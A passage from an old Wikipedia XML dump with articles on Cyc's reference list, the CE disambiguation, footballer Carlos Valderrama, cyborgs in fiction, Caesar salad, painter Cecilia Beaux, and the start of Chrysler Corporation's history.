*Matuszek, Cynthia, [[Michael Witbrock|M. Witbrock]], R. Kahlert, J. Cabral, D. Schneider, P. Shah and [[Douglas Lenat|D. Lenat]]. ''Searching for Common Sense: Populating Cyc from the Web''. In Proceedings of the Twentieth National Conference on Artificial Intelligence, Pittsburgh, Pennsylvania, July 2005.[http://www.cyc.com/doc/white_papers/AAAI051MatuszekC.pdf]
*Shepard, Blake, C. Matuszek, C.B. Fraser, W. Wechtenhiser, D. Crabbe, Z. Güngördü, J. Jantos, T. Hughes, L. Lefkowitz, M. Witbrock, D. Lenat, E. Larson. ''A Knowledge-Based Approach to Network Security: Applying Cyc in the Domain of Network Risk Assessment''. In Proceedings of the Seventeenth Innovative Applications of Artificial Intelligence Conference, Pittsburgh, Pennsylvania, July 2005.[http://www.cyc.com/doc/white_papers/IAAI-05-CycSecure.pdf]
*Ramachandran, Deepak, P. Reagan, K. Goolsbey. ''First-Orderized ResearchCyc: Expressivity and Efficiency in a Common-Sense Ontology''. In Papers from the AAAI Workshop on Contexts and Ontologies: Theory, Practice and Applications. Pittsburgh, Pennsylvania, July 2005.[http://www.cyc.com/doc/white_papers/folification.pdf]
*Cabral, John, R.C. Kahlert, C. Matuszek, M. Witbrock, B. Summers. ''Converting Semantic Meta-Knowledge into Inductive Bias''. In Proceedings of the 15th International Conference on Inductive Logic Programming, Bonn, Germany, August 2005.[http://www.cyc.com/doc/white_papers/ilp2005-semantic-ILP.pdf]
*Schneider, Dave, C. Matuszek, P. Shah, R. Kahlert, D. Baxter, J. Cabral, M. Witbrock, D. Lenat. ''Gathering and Managing Facts for Intelligence Analysis''. In Proceedings of the 2005 International Conference on Intelligence Analysis, McLean, Virginia, May 2005.[http://www.cyc.com/doc/white_papers/GatheringAndManagingFacts-IA2005.pdf]
*Forbus, Kenneth, L. Birnbaum, E. Wagner, J. Baker &amp; [[Michael Witbrock|M. Witbrock]]. ''Combining analogy, intelligent information retrieval, and knowledge integration for analysis: A preliminary report''. In Proceedings of the 2005 International Conference on Intelligence Analysis, McLean, Virginia, May 2005.[http://www.cyc.com/doc/white_papers/CombiningAnalogy-IA2005.pdf]
*Deaton, Chris, B. Shepard, C. Klein, C. Mayans, B. Summers, A. Brusseau, [[Michael Witbrock|M. Witbrock]]. The Comprehensive Terrorism Knowledge Base in Cyc. In Proceedings of the 2005 International Conference on Intelligence Analysis, McLean, Virginia, May 2005.[http://www.cyc.com/doc/white_papers/TKB-IA2005.pdf]
*Rode, Benjamin. ''Towards a Model of Pattern Recovery in Relational Data''. In Proceedings of the 2005 International Conference on Intelligence Analysis, McLean, Virginia, May 2005.[http://www.cyc.com/doc/white_papers/PatternRecovery-IA2005.pdf]
*Siegel, Nick, B. Shepard, J. Cabral, M. Witbrock. ''Hypothesis Generation and Evidence Assembly for Intelligence Analysis: Cycorp's Nooscape Application''. In Proceedings of the 2005 International Conference on Intelligence Analysis, McLean, Virginia, May 2005.[http://www.cyc.com/doc/white_papers/HypothesisGeneration-IA2005.pdf]
*Curtis, Jon, G. Matthews, D. Baxter. On the Effective Use of Cyc in a Question Answering System in Papers from the IJCAI Workshop on Knowledge and Reasoning for Answering Questions, Edinburgh, Scotland: 2005.[http://www.cyc.com/doc/white_papers/KRAQ2005.pdf]
*Witbrock, Michael, C. Matuszek, A. Brusseau, R.C. Kahlert, C.B. Fraser, D. Lenat. ''Knowledge Begets Knowledge: Steps towards Assisted Knowledge Acquisition in Cyc'' in Papers from the 2005 AAAI Spring Symposium on Knowledge Collection from Volunteer Contributors (KCVC), pp. 99-105. Stanford, California, March 2005.[http://www.cyc.com/doc/white_papers/AAAI05-symposium-KCVC.pdf]
*Belasco, Alan, J. Curtis, RC Kahlert, C. Klein, C. Mayans, R. Reagan. ''Representing Knowledge Gaps Effectively''. In D. Karagiannis, U. Reimer (Eds.): Practical Aspects of Knowledge Management, Proceedings of PAKM 2004, Vienna, Austria, December 2-3, 2004, Springer-Verlag, Berlin Heidelberg.[http://www.springeronline.com/sgw/cda/frontpage/0,11855,1-40109-22-36983341-0,00.html]
*Siegel, Nick, G. Matthews, J. Masters, R. Kahlert, M. Witbrock and K. Pittman. ''Agent Architectures: Combining the Strengths of Software Engineering and Cognitive Systems'' in Papers from the AAAI Workshop on Intelligent Agent Architectures: Combining the Strengths of Software Engineering and Cognitive Systems, Technical Report WS-04-07, pp. 74-79. Menlo Park, California: AAAI Press, 2004.[http://www.cyc.com/doc/white_papers/WS804SiegelN.pdf]
*Witbrock, Michael, K. Panton, S.L. Reed, D. Schneider, B. Aldag, M. Reimers and S. Bertolo. ''Automated OWL Annotation Assisted by a Large Knowledge Base'' in Workshop Notes of the 2004 Workshop on Knowledge Markup and Semantic Annotation at the 3rd International Semantic Web Conference ISWC2004, Hiroshima, Japan, November 2004, pp. 71-80.[http://www.cyc.com/doc/white_papers/SemAnnot2004-20041001.pdf]
*Masters, James and Z. Güngördü. ''Structured Knowledge Source Integration: A Progress Report''. In Integration of Knowledge Intensive Multiagent Systems, Cambridge, Massachusetts, USA, 2003.[http://www.cyc.com/doc/white_papers/kimas2003.pdf]
*O'Hara, Tom, N. Salay, M. Witbrock, et al. ''Inducing criteria for mass noun lexical mappings using the Cyc Knowledge Base and its Extension to WordNet''. In Proceedings of the Fifth International Workshop on Computational Semantics, Tilburg, 2003.[http://www.cyc.com/doc/white_papers/inducing-criteria-for-mass.pdf]
*Witbrock, Michael, D. Baxter, J. Curtis, et al. ''An Interactive Dialogue System for Knowledge Acquisition in Cyc''. In Proceedings of the Eighteenth International Joint Conference on Artificial Intelligence, Acapulco, Mexico, 2003.[http://www.cyc.com/doc/white_papers/IJCAI-paper-v5.pdf]
*Panton, Kathy, P. Miraglia, N. Salay, et al. ''Knowledge Formation and Dialogue Using the KRAKEN Toolset''. In Eighteenth National Conference on Artificial Intelligence, Edmonton, Canada, 2002.[http://www.cyc.com/doc/white_papers/iaai.pdf]
*Masters, James. ''Structured Knowledge Source Integration and its applications to information fusion''. In Proceedings of the Fifth International Conference on Information Fusion, Annapolis, MD, July 2002.[http://www.cyc.com/doc/white_papers/fusion2002.pdf]
*Reed, Stephen and D. Lenat. ''Mapping Ontologies into Cyc''. In AAAI 2002 Conference Workshop on Ontologies For The Semantic Web, Edmonton, Canada, July 2002.[http://www.cyc.com/doc/white_papers/mapping-ontologies-into-cyc_v31.pdf]
*{{cite book | author=D. Lenat and R. V. Guha. | title=Building Large Knowledge-Based Systems: Representation and Inference in the Cyc Project | publisher =Addison-Wesley | year=1990 | id=ISBN 0201517523 }}

== External links ==
* [http://www.cyc.com/ Cycorp homepage]
* [http://www.cyc.com/cyc/technology/pubs Publications available from the Cycorp webpage]
* [http://www.opencyc.org/ Opencyc.org] (includes several tutorials)
* [http://research.cyc.com/ research.cyc.com]
* [http://www.opencyc.org/public_servers Servers that allow public browsing of the OpenCyc knowledge base]
* [http://www.ime.usp.br/~fr/opencyc/ OpenCyc C API]
* [http://www.newscientist.com/article.ns?id=mg18624961.700 Whatever happened to machines that think? [[23 April]] [[2005]], New Scientist]

[[Category:Artificial intelligence]]

&lt;!-- The below are interlanguage links. --&gt;
[[de:Cyc]]
[[es:Cyc]]
[[zh:Cyc]]</text>
    </revision>
  </page>
  <page>
    <title>Cheliceriformes</title>
    <id>6875</id>
    <revision>
      <id>15904989</id>
      <timestamp>2002-07-18T22:10:32Z</timestamp>
      <contributor>
        <username>PierreAbbat</username>
        <id>1123</id>
      </contributor>
      <minor />
      <comment>misspelled &amp;quot;redirect&amp;quot;</comment>
      <text xml:space="preserve">#redirect [[Chelicerata]]
</text>
    </revision>
  </page>
  <page>
    <title>CE</title>
    <id>6876</id>
    <revision>
      <id>41408492</id>
      <timestamp>2006-02-27T03:12:48Z</timestamp>
      <contributor>
        <username>TransUtopian</username>
        <id>354375</id>
      </contributor>
      <comment>bold Common Era, as I didnt know exactly what CE stood for re: BCE, looked, didn't see, looked it up &amp; ready to insert it when I see it's already there</comment>
      <text xml:space="preserve">'''CE''' is an abbreviation which can have the following meanings:
* [[Capillary electrophoresis]]
* the [[CE mark]] is a stylized &quot;CE&quot; placed on products to signify conformance with [[European Union]] regulations. CE stands for Conformité Européenne (European health &amp; safety product label).
* [[Central European]], an alternate name for [[Windows-1250]]
* Civil Engineer ([[Engineer's degree]] in civil engineering)
* [[Civil engineering]]
* [[Special edition|Collector's Edition]] (Used with special editions of software and movies)
* '''[[Common Era]]''', Current Era, or Christian Era (this year is {{CURRENTYEAR}} CE).
* ''Communauté Européenne'' (French for [[European Community]])
* [[Computer engineering]]
* [[Concord EFS Inc.]] ([[stock symbol]])
* [[Consumer electronics]]
* [[Cosmic Era]], a storyline in the [[anime]] [[metaseries]] ''[[Gundam]]''
* [[Council of Europe]]
* Current Events, a board on the [[GameFAQs]] forums.
* Customer Edge, a term used in [[MPLS]] [[computer networks]]
* Customer Engineer, the person that services [[IBM]] computers
* [[Nationwide Airlines]] ([[IATA]] [[IATA airline designator|airline designator]]; based in [[South Africa]])
* [[Sri Lanka]], [[List of FIPS country codes|FIPS Pub 10-4]] and obsolete [[NATO country code|NATO digram]] (from ''Ceylon'')
* [[Windows CE]]

'''Ce''' may stand for:
* [[Cerium]] ([[symbol for the chemical element]])

'''ce''' may stand for:
* [[Chechen language]] ([[ISO 639-1]])

{{2LCdisambig}}

[[ca:Ce]]
[[de:CE]]
[[fr:CE]]
[[ko:CE]]
[[it:Ce]]
[[ja:CE]]</text>
    </revision>
  </page>
  <page>
    <title>Carlos Valderrama (soccer player)</title>
    <id>6878</id>
    <revision>
      <id>38119521</id>
      <timestamp>2006-02-04T08:14:01Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">[[Image:Carlos Valderrama poster.jpg|right|thumb|175px|Carlos Valderrama (poster)]]
'''Carlos Alberto Valderrama Palacio''' (born [[September 2]], [[1961]] in [[Santa Marta]]) is a [[Colombia]]n former [[football (soccer)|soccer]] player, often considered the best Colombian player of all time.

Nicknamed ''El Pibe'' (&quot;The Kid&quot;), Valderrama is recognizable for his enormous dyed blondish-orange bush of hair and is known for his skillful passing and shielding. Valderrama captained [[Colombia national football team|Colombia]] during the [[Football World Cup 1990|1990]], [[Football World Cup 1994|1994]], and [[Football World Cup 1998|1998 World Cups]], before announcing his international retirement after the 1998 competition having received 111 caps and scored 11 times.  

He began his career at [[Union Magdalena]] of the Colombian First Division in 1981. He also played for [[Millonarios]] and [[Deportivo Cali]] before joining [[Montpellier Hérault SC|Montpellier]] of the [[Ligue 1|French First Division]] in 1988. He was transferred to [[La Liga|Spanish]] side [[Real Valladolid]] in 1990 before returning to Colombia in 1992 to play for [[Independiente Medellín]] and [[Atlético Junior]] from 1993-96 before going to the US in 1996 to play for the [[Tampa Bay Mutiny]] (1996-97, 2000-01), [[Miami Fusion]] (1998-99),  and [[Colorado Rapids]] (2001-02). In [[Major League Soccer]], Valderrama scored relatively few goals (16) for a midfielder, but is the league's all-time leader in assists (114). In 2005, he was named to the [[MLS All-Time Best XI]].

In February 2004, Valderrama ended his 22-year career in a tribute match with some of the most important football players of South America, such as [[Diego Maradona]] (he couldn't play), [[Enzo Francescoli]] and [[José Luis Chilavert]].

He is married and has five children. Valderrama was the only Colombian to feature in Pele's [[FIFA 100|125 Top Living Football Players list]] in March 2004.



[[Category:Colombian footballers|Valderrama, Carlos]]
[[Category:1961 births|Valderrama, Carlos]]
[[Category:Living people|Valderrama, Carlos]]
[[Category:FIFA 100|Valderrama, Carlos]]
[[Category:Tampa Bay Mutiny players|Valderrama, Carlos]]
[[Category:Miami Fusion players|Valderrama, Carlos]]
[[Category:Colorado Rapids players|Valderrama, Carlos]]

[[de:Carlos Valderrama]]
[[es:Carlos Valderrama]]
[[fr:Carlos Valderrama]]
[[it:Carlos Valderrama]]
[[fi:Carlos Valderrama]]
[[he:&amp;#1511;&amp;#1512;&amp;#1500;&amp;#1493;&amp;#1505; &amp;#1493;&amp;#1500;&amp;#1491;&amp;#1512;&amp;#1502;&amp;#1492;]]
[[ja:&amp;#12459;&amp;#12523;&amp;#12525;&amp;#12473;&amp;#12539;&amp;#12496;&amp;#12523;&amp;#12487;&amp;#12521;&amp;#12510;]]
[[zh:華特拉馬]]</text>
    </revision>
  </page>
  <page>
    <title>Cyborgs in fiction</title>
    <id>6879</id>
    <revision>
      <id>41173824</id>
      <timestamp>2006-02-25T15:09:51Z</timestamp>
      <contributor>
        <username>Paxomen</username>
        <id>708925</id>
      </contributor>
      <text xml:space="preserve">'''[[Cyborg|Cyborgs]]''' that originally appeared...

==In print==
* The [[Tin Woodman]] from [[L. Frank Baum]]'s [[The Oz books|Oz books]] (at least before he became entirely metal).
* Deirdre, a famous dancer who was burned nearly completely and whose brain was placed in a faceless but beautiful mechanical body, in [[C. L. Moore]]'s short story of 1944, &quot;No Woman Born&quot;.  Collected in  &quot;The Best of C. L. Moore&quot; in 1975
* Jonas the (star) sailor in [[Gene Wolfe]]'s ''Book of the New Sun'' novels. His near light speed ship had been gone so long that on its return to Urth, there were no space port facilities any more, and it crashed. Other crew members patched him up from available parts.  (However, he started out as fully robotic, and was repaired with human parts, rather than the more usual reverse).
* [[Molly Millions]] who appears in several of [[William Gibson (novelist)|William Gibson]]'s stories.
* Professor Jameson, a cyborg [[pulp magazine|pulp]] hero by [[Neil R. Jones]], and his allies and benefactors, the Zoromes. 
* ''[[8 Man]]'' is a fictional manga and anime superhero created in [[1963]] by writer [[Kazumasa Hirai]] and [[artist]] [[Jiro Kuwata]]. He is considered Japan's earliest cyborg superhero, before even ''[[Kamen Rider]]'' (the same year, [[Shotaro Ishinomori]] created ''[[Cyborg 009]]''), and was the inspiration for ''[[RoboCop]]''.
* Many of the members of [[Section 9]] in the ''[[Ghost in the Shell]]'' universe, specifically the main characters [[Motoko Kusanagi|Major Motoko Kusanagi]] and [[Batou]], are cyborgs dependent on regular maintence; there are several [[manga]] (or [[graphic novel]]) and artbooks set in the [[:Category:Ghost in the Shell|GitS universe]], as well as two feature-length [[anime]] and a television series.
* [[Masamune Shirow]]'s other major work, ''[[Appleseed]]'' also contains a multitude of cyborg characters, with one of the main characters, [[Briareos Hecatonchires]], the mercenary [[Sokaku Tatara]] and his war buddies, and the [[Mumna Holy Republic]] diplomat [[Kainisu]], from the fourth chapter, are just a few.
* [[Vash the Stampede]] from ''[[Trigun]]'' has a prosthetic left arm, which he acquired after his brother [[Millions Knives]] shot it off. The arm has an [[automatic weapon]] inside. 
* [[Cyborg (comics)|Cyborg]] of the ''[[Titans (comics)|Teen Titans]]'' [[comic book]] series is a [[superhero]] with massive implants and prothestics.
* [[Marge Piercy|Marge Piercy's]] ''[[He, She and It]]'' presents a rather feminist view on the cyborg issue with ''Yod'' who, however, is provided with some male attributes.
* Many of the characters of ''[[Battle Angel Alita]]'' (also known in Japan as ''GUNNM'') are cyborgs, including the lead, Alita (Gally, Yoko). Cyborgs are a major way of life in the ''GUNNM'' universe, with sports, such as Motorball (and crimes, such as spine-stealing), contributing to a culture of cyborgs.
* The [[Metabarons]].
* In ''[[WE3]]'' a group of animals are turned into living weapons.
* ''[[Cyborg 009]]'' features a group of humans unwillingly turned into cyborg weapons by a crime syndicate.
* The [[Reavers (comics)|Reavers]], a group of villains that regularly clashes with the [[X-Men]]. They are led by [[Donald Pierce]].
* [[Deathlok]], the Demolisher, former soldier in [[dystopic]] future.
* All members of ''[[The Authority]]'' have a networking implant that allows for [[radio-telepathy]], [[head-mail]] and other communication functions.
* [[Android 17]] and [[Android 18]], along with [[Android 20]] from the anime-manga series [[Dragonball Z]]. Despite their confusing English dub names, they are indeed cyborgs. In the original Japanese version, these three (along with the rest of Dr. Gero's artificial creations) are referred to as ''jinzouningen'', which is a blanket term in Japanese science fiction applying to robots and androids, as well as cyborgs. ''Jinzouningen'' is usually translated by fans to &quot;artificial human.&quot;
* [[Anne McCaffrey]] wrote short stories and novels known as &quot;The ship series&quot; where otherwise crippled humans live on as the brains of starships and large space stations.
* The genetically engineered and prosthetics-ready warriors of the planet Sauron in the [[CoDominium]] series of short stories and novels initiated by [[Jerry Pournelle]] and also written by guest authors.
*[[emerl]] from sonic battle. He says he is a living being.
* The [[Rifts]] Role-playing game makes extensive use of Cyborgs and Cybernetics in many [[Character class|Occupational Character Classes]].  Cybernetics are divided into normal ''cybernetics'', realistic-looking ''bio-systems'', and deadly, combat-oriented ''bionics''.   It also organizes Cyborgs into two categories:  ''Partial Conversion'', where most of a person's limbs are all that are replaced, and ''Full Conversion'', where the entire body, save for the brain, spinal cord, and a few other organs are replaced by bionics.

==In film== 
* ''[[RoboCop]]''
* ''[[The Terminator]]'' models (particularly those depicted by [[Arnold Schwarzenegger]]): assassins with [[robot]]ic [[endoskeleton]]s overlaid by [[life|living]] [[biological tissue|tissue]]
* [[Darth Vader]] in ''[[Star Wars]]''. [[Luke Skywalker]] also has a similarly designed right hand to replace the one he lost in battle.
* [[Lobot]] in ''Star Wars'' wore a brain enhancing device wrapped around the back of his skull.
* [[General Grievous]] in ''Star Wars'' prequels. First seen in the ''[[Star Wars: Clone Wars]]'' microseries, Chapter 20, General Grievous is a major character in ''[[Star Wars Episode III: Revenge of the Sith]]''.
* The wives from the 2004 film version of ''[[The Stepford Wives (2004)|The Stepford Wives]]''. In the original version, they would be closer to [[android]]s or [[gynoid]]s.

==On television==
* The inhabitants of [[Cyberspace]] in the math mystery cartoon ''[[Cyberchase]]'', including [[Digit (Cyberchase)|Digit]] played by [[Gilbert Gottfried]],  [[The Hacker (Cyberchase)|Hacker]] voiced by [[Christopher Lloyd]], [[Motherboard (Cyberchase)|Motherboard]], and all other characters in the show except the Earth kids: [[Matt (Cyberchase)|Matt]], [[Jackie (Cyberchase)|Jackie]], and [[Inez (Cyberchase)|Inez]].
* Steve Austin, ''[[The Six Million Dollar Man]]''. Originally based on Martin Caidin's novel, ''Cyborg'', the series was very successful, spawning followups ''[[The Bionic Woman]]'', and Max, the bionic dog.
* The [[Dalek]]s and [[Cyberman|Cybermen]] from ''[[Doctor Who]]'' (Daleks are a marginal case, they are actually vehicles for small and physically degenerate aliens)
* The [[Borg]] from [[Star Trek]], including [[Seven of Nine]] from ''[[Star Trek: Voyager]]'', a human who was assimilated into a drone and later severed from the collective.
* [[Inspector Gadget]].
* [[Geordi La Forge]] from ''[[Star Trek: The Next Generation]]'', who was born blind and uses optical implants combined with a removable unit called a VISOR, to see.  In the films, the VISOR was replaced with permanent optical implants, and later by regenerated biological eyes.
* [[Jean-Luc Picard]] from ''Star Trek: The Next Generation'', whose natural [[heart]] was irreparably damaged in a bar fight when he was younger and replaced with an [[artificial heart]], which was later replaced twice due to due defect or damage.  However, the artificial heart is not a major part of his identity and is seldom mentioned, so that most viewers would not consider him a cyborg.  He is also at one point briefly conscripted into the Borg (see above).
* A cyborg secret agent was featured in the &quot;''Fumble on the One''&quot; episode of ''[[Misfits of Science|The Misfits of Science]]''.
* [[Adam (Buffyverse)|Adam]] in the series ''[[Buffy the Vampire Slayer]]'', who is part human, part demon and part robot.
* In ''[[Neon Genesis Evangelion]]'' the [[Evangelion (mecha)|Evangelion]] [[mecha]] are not robots but clones of aliens outfitted with cybernetics to allow their human pilots (or a backup computer, as in the Mass Production Eva series) to control them.
* ''[[Cyborg (film)|Cyborg]]'', a film featuring [[Jean-Claude Van Damme]], tells the story of a post-apocalyptic Earth due to a nuclear disaster, and has a female cyborg as a central character.

==In Computer and Video Games==
* [[Gray Fox (Metal Gear)|Gray Fox]], the cyborg [[ninja]] in ''[[Metal Gear Solid]]''.
*The [[Strogg]], a race of cybernetic warriors from the first person shooters ''[[Quake II]]'', ''[[Quake 4]]'' and the upcoming ''[[Enemy Territory: Quake Wars]]''.
* [[Cyrax]], [[Sektor]], and [[Smoke (Mortal Kombat character)|Smoke]], fighters in the fighting video game series ''[[Mortal Kombat]]''.
* N. Gin of the ''[[Crash Bandicoot]]'' video game series.
* [[Bunnie Rabbot]] in the ''[[Sonic the Hedgehog]]'' [[Sonic the Hedgehog (TV series)|Saturday morning TV series]] and [[Sonic the Hedgehog (Archie)|US comic series]].
* In ''[[Final Fantasy Legend III]]'' characters could shift between [[life|organic]], [[cybernetic]] and [[robotic]] states by eating meat or installing parts.
* The [[Combine (Half-Life 2)|Combine]] from ''[[Half-Life 2]]'' use [[transhuman]] cyborgs and biomechanical &quot;synths&quot; as their main weapons.
* Many characters from [[Deus Ex]]
* [[Master Chief (Halo)|Master Chief]] and the [[SPARTAN II]] [[supersoldier]]s from the ''[[Halo: Combat Evolved]]'' and ''[[Halo 2]]''.
*The [[player character]]s as well as some monsters in the ''[[System Shock]]'' games.
*[[Grobyc]], a cybernetic assassin in ''[[Chrono Cross]]''. He will joint the player's party after being defeated.
*[[Megaman.EXE]] from the ''[[Megaman Battle Network]]'' series, aka Hub Hikari (Hikari Saito), brother to Lan. He was born human, but converted into a [[NetNavi]] form by Yuiichiro Hikari, due to his human body having the incurable HBD ailment. This would make him a data-based cyborg, as opposed to the standard machine/organic composite.

==Other==
* Metro Man, mascot for [[Metro North Railroad]].
* ''Oil-Fired Stanley Price'' -- in the [[filk]] of that title by [[Zander Nyrond]].
* The [[Phyrexians]], from [[Magic: The Gathering]].

==See also==
* [[Robots in literature]]
* [[Archive of fictional things]]

[[Category:Science fiction themes]]
[[Category:Fictional cyborgs| {{PAGENAME}}]]</text>
    </revision>
  </page>
  <page>
    <title>Caesar salad</title>
    <id>6880</id>
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      <id>41241861</id>
      <timestamp>2006-02-26T00:35:43Z</timestamp>
      <contributor>
        <username>Hamster Sandwich</username>
        <id>330868</id>
      </contributor>
      <minor />
      <comment>fix para.</comment>
      <text xml:space="preserve">'''Caesar salad''' is a traditional [[salad]] often prepared tableside. It is sometimes termed the &quot;king&quot; of salads.

==History==
Caesar salad was invented in [[1924]] by [[Caesar Cardini]] or one of his associates.  Cardini was an [[Italian]] [[restaurateur]] and [[chef]] in [[Tijuana]], [[Mexico]], living in [[San Diego]] but working in Tijuana to avoid the restrictions of [[Prohibition]]. There are several stories about the specifics of the salad's creation, none of which can be confirmed. The most common is that it resulted from a [[Independence Day (United States)|Fourth of July]] rush depleting the kitchen's supplies, and Cardini made do with what he had, adding the dramatic flair of a table-side tossing.  Another is that it was created for a group of [[Hollywood]] stars after a long weekend party.

Most stories say that Cardini had to whip something up from what he had left in his kitchen, and the Caesar salad was the result. The ''[[Hotel César]]'' still exists in downtown Tijuana, where the original dish is still served.

A Caesar salad is generally made from the following ingredients:
* [[romaine lettuce]]
* [[crouton]]s
* [[lemon]] juice
* [[olive oil]]
* [[Parmesan cheese]]
* raw, [[coddling|coddled]] or hard-boiled [[Egg (food)|egg yolks]]
* fresh-ground [[black pepper]]
* [[Worcestershire sauce]]

The original Caesar salad [[recipe]] did not contain [[anchovy|anchovies]]; the slight anchovy flavor came from [[Worcestershire sauce]]. Most modern recipes now include anchovies as chopped fillets or in paste form.

[[Julia Child]], in her book, &quot;From Julia Child's Kitchen,&quot; describes how she ate a Caesar's salad at Cardini's restaurant as a child in 1924, and many years later she sought out Cardini's daughter, Rosa Cardini, in order to discover the original recipe. Rosa Cardini's recipe differs from those that appear in the links below. In particular, the [[lettuce]] is served whole on the plate. It is meant to be lifted by the stem and eaten with the fingers. It calls for coddled eggs but no [[anchovies]].

Some recipes include one or more of [[Culinary mustard|mustard]], [[avocado]], [[tomato]], [[bacon]] bits, [[garlic]] cloves, or [[anchovy|anchovies]].  Many restaurants offer a more substantial salad by topping a Caesar salad with grilled [[chicken]], grilled salmon or [[shrimp]].

The Cardini family licensed the original recipe early on, and bottled Cardini Caesar salad dressing is still available, sans anchovies. Many other bottled versions are sold now, as well, including [[Morgan's]] and [[Newman's Own]].

== Raw egg and salmonella ==

Many people are concerned about the safety of Caesar salads due to the potential risk of infection by [[salmonella]] bacteria often found in raw eggs.  The original recipe incorporated a raw egg, and later versions used briefly-cooked [[coddled egg]]s.  Even a switch to chopped, hard-boiled eggs has not prevented sporadic outbreaks of salmonella from restaurant-made Caesar salads.  Today, many recipes omit the egg and produce a Caesar [[vinaigrette]]. 

== Caesar salad humor ==

Riffing on the popular idea that Caesar salad was invented by or for [[Julius Caesar]], the Canadian comedy duo of [[Wayne and Shuster|Johnny Wayne]] and [[Wayne and Shuster|Frank Shuster]] (both now deceased) did at least two versions of a sketch in which Caesar's chef (played by Shuster) prepares the ingredients of a modern Caesar salad, and says, &quot;You shall name this salad, Caesar&quot;.  After a moment of pondering, Caesar (played by Wayne) replies (in one version of the sketch), &quot;I name it... ''[[coleslaw]]''.&quot;  Brutus offers his knife to the cook when the cook disparages the new name.  

Another joke, an atrocious [[pun]] is set up by bandits invading Julius Caesar's birthday party seeking lettuce. Caesar shows them a truly beautiful salad. The bandit chief replies, &quot;We come to seize your salad, not to praise it!&quot;

In the video game ''[[Civilization IV]]'', Julius Caesar greets the player with the statement &quot;Welcome to Rome, (player name).  Care for some salad?  I made it myself.&quot;

In an episode of the [[television series]] ''[[Bewitched]]'', Esmeralda (played by [[Alice Ghostley]]) attempts to use magic to make a Caesar salad and accidentally conjures Julius Caesar.

In the movie ''[[Bill &amp; Ted's Excellent Adventure]]'', the eponymous characters' history teacher claims that the only thing they've learned in his class is that &quot;Caesar... was a salad dressing dude.&quot;

== See also ==
* [[List of foods named after people]]

== External links ==
{{cookbook}}
* [http://textism.com/article/626 Salad (Caesar)] - A classic recipe, also notable in making use of the phrase &quot;.&amp;nbsp;.&amp;nbsp;.&amp;nbsp;à la Pete Townshend (without all the booze and deafness, of course).&quot;
* [http://www.foodnetwork.com/food/cooking/recipe/0,,FOOD_9936_14245,00.html Alton Brown's version] - [[Alton Brown]] (of the cooking show ''[[Good Eats]]'') provides this recipe that attempts to be true to the original.
* [http://www.descubrebajacalifornia.com/ruta_gastronomica/ensaladas.htm Ensalada César] at the [[Baja California]] tourism site (in Spanish).

[[Category:Salads]]
[[Category:Eponymous foods]]
[[Category:Mexican cuisine]]
[[Category:Tijuana]]

[[fr:Salade César]]
[[he:סלט קיסר]]
[[ja:シーザーサラダ]]
[[nl:Caesarsalade]]
[[sv:Caesarsallad]]</text>
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  </page>
  <page>
    <title>Cecilia Beaux</title>
    <id>6881</id>
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      <id>41219522</id>
      <timestamp>2006-02-25T21:43:07Z</timestamp>
      <contributor>
        <username>Deb</username>
        <id>1219</id>
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      <comment>DOB</comment>
      <text xml:space="preserve">'''Cecilia Beaux''' ([[May 1]], [[1855]]&amp;ndash;-[[September 7]],[[1942]]) was an [[United States|American]] society [[portraitist]], in the nature of [[John Singer Sargent]].

She was born in [[Philadelphia, Pennsylvania]], she received the bulk of her art training at the Academie Julien in [[Paris]]. During her time in Paris she studied under painters [[Tony Robert-Fleury]] and [[William-Adolphe Bouguereau]]. 

[[Image:Clemenceau by Beaux 1920.jpg|thumb|left|[[Georges Clemenceau]] by Cecilia Beaux (1920)]]
In [[1890]] she exhibited at the Paris Exposition. Returning to Philadelphia, Miss Beaux obtained in [[1893]] the gold medal of the Philadelphia Art Club, and also the Dodge prize at the New York National Academy, and later various other distinctions. She became a member of the National Academy of Design, New York, in [[1902]]. Among her portraits are those of [[Georges Clemenceau]] ; [[Edith Roosevelt]] and her daughter; and [[David Beatty, 1st Earl Beatty|Admiral Sir David Beatty]]. Her ''Dorothea and Francesca'', and ''Ernesta and her Little Brother'', are good examples of her skill in painting children.

==External links==
*[http://encyclopedia.jrank.org/BAR_BEC/BEAUX_CECILIA_1863_.html Cecilia Beaux] from Online Encyclopedia
*[http://americanart.si.edu/search/artist_bio.cfm?StartRow=1&amp;ID=300 Cecilia Beaux] from Smithsonian American Art Museum

==References==
*{{1911}}

[[Category:1855 births|Beaux, Cecilia]]
[[Category:1942 deaths|Beaux, Cecilia]]
[[Category:American painters|Beaux, Cecilia]]
[[Category:Portrait artists|Beaux, Cecilia]]
[[Category:Women in art|Beaux, Cecilia]]

{{US-painter-stub}}</text>
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  <page>
    <title>Chrysler Corporation</title>
    <id>6882</id>
    <revision>
      <id>42040801</id>
      <timestamp>2006-03-03T11:29:04Z</timestamp>
      <contributor>
        <ip>87.239.31.49</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Chrysler_logo.png|right|Chrysler logo]]

The '''Chrysler Corporation''' was a [[United States]]-based [[automobile]] manufacturer that existed independently from 1925–1998. Chrysler and its subsidiaries became part of the [[Germany|German]]-American based [[DaimlerChrysler|DaimlerChrysler AG]] after being purchased by Daimler-Benz in 1998. Before being taken over in 1998, Chrysler Corporation traded under the &quot;C&quot; symbol on the NYSE. The U.S. operations are generally referred to today as the &quot;Chrysler Group.&quot;

==History== 
The company was formed by [[Walter Percy Chrysler]] on [[June 6]], [[1925]], with the remaining assets of [[Maxwell Motor Company]].

In 1928 Chrysler founded the [[Plymouth automobile|Plymouth]] brand at the low end, the [[DeSoto (automobile)|DeSoto]] brand at the low-medium end and purchased the [[Dodge Brothers]] automobile company; all of this was in order to set up a full range of brands similar to that of the [[General Motors]] corporation. This process reached its logical conclusion in 1955, when the [[Imperial (automobile)|Imperial]] was made a brand of its own and Chrysler marketed a GM-like five-brand lineup. Well before then, though, Chrysler Corporation had become noted both for its engineering features and its periodic financial crises. By the end of the 1930s, the DeSoto and [[Dodge]] divisions would flip-flop spots in the corporate pecking order making the lineup Plymouth, Dodge, [[DeSoto]], Chrysler, and [[Chrysler Imperial|Imperial]]. 

